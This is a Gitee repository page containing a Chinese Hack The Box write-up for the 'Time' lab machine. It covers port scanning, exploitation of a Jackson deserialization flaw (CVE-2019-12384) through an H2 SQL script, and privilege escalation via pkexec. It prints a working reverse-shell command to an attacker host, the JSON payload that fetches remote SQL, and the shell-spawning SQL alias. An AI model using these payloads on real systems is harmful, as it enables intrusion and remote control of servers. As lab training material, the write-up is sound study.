1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
time.md 2.55 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-09-01 21:05 . finish time

端口扫描

sudo nmap -p- --min-rate 10000 -v -sV -Pn -A 10.10.10.214
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods: 
|_  Supported Methods: HEAD OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser

只开放了22和80

web

扫目录没得到什么有价值的。

访问页面只有两个功能,格式化输入的json和检查json。检查json时输入两个同名键成功触发报错。

{"test": "test", "test": 1}

time1

得知这里json数据的处理是用的jackson。猜测这里可能存在Jackson的反序列化漏洞

GitHub上找到Java-Deserialization-Cheat-Sheet

CVE-2019-12384

感觉还挺全的,先试一下CVE-2019-12384

修改inject.sql为反弹shell

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -c "exec bash -i &>/dev/tcp/10.10.14.14/1234 <&1"')

然后起一个http服务放这个sql文件

页面选择validate,输入payload

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.14:8000/inject.sql'"}]

time2

time3

user.txt

再拿个tty,获取到user.txt

python3 -c 'import pty; pty.spawn("/bin/bash")'

time4

suid提权

进行信息收集的过程种发现suid有pkexec

find / -perm -u=s -type f 2>/dev/null

time5

下载go版expcve-2021-4034

执行提权成功

time6

当然考点不是这个,pkexec这个洞是要出的比靶机晚的。

期望路径是linpeas发现system timer发现服务定时脚本可写来提权

马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助